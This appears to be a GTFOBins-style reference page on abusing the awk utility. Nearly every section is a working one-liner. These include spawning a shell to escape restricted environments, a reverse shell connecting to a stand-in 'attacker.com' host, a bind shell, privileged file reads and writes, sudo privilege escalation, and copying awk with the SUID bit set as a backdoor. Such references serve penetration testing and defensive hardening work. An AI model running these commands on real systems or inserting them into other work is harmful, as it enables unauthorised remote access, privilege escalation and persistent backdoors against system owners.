.. / awk
Star

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
awk 'BEGIN {system("/bin/sh")}'
```

Non-interactive reverse shell

It can send back a non-interactive reverse shell to a listening attacker to open a remote network access.

Run nc -l -p 12345 on the attacker box to receive the shell.

RHOST=attacker.com
RPORT=12345
awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
    s = "/inet/tcp/0/" RHOST "/" RPORT;
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

Non-interactive bind shell

It can bind a non-interactive shell to a local port to allow remote network access.

Run nc target.com 12345 on the attacker box to connect to the shell.

LPORT=12345
awk -v LPORT=$LPORT 'BEGIN {
    s = "/inet/tcp/" LPORT "/0/0";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

LFILE=file_to_write
awk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }'

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

```
LFILE=file_to_read
awk '//' "$LFILE"
```

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

```
sudo awk 'BEGIN {system("/bin/sh")}'
```

Limited SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands it only works on systems like Debian that allow the default sh shell to run with SUID privileges.

sudo sh -c 'cp $(which awk) .; chmod +s ./awk'

./awk 'BEGIN {system("/bin/sh")}'

.. / awk Star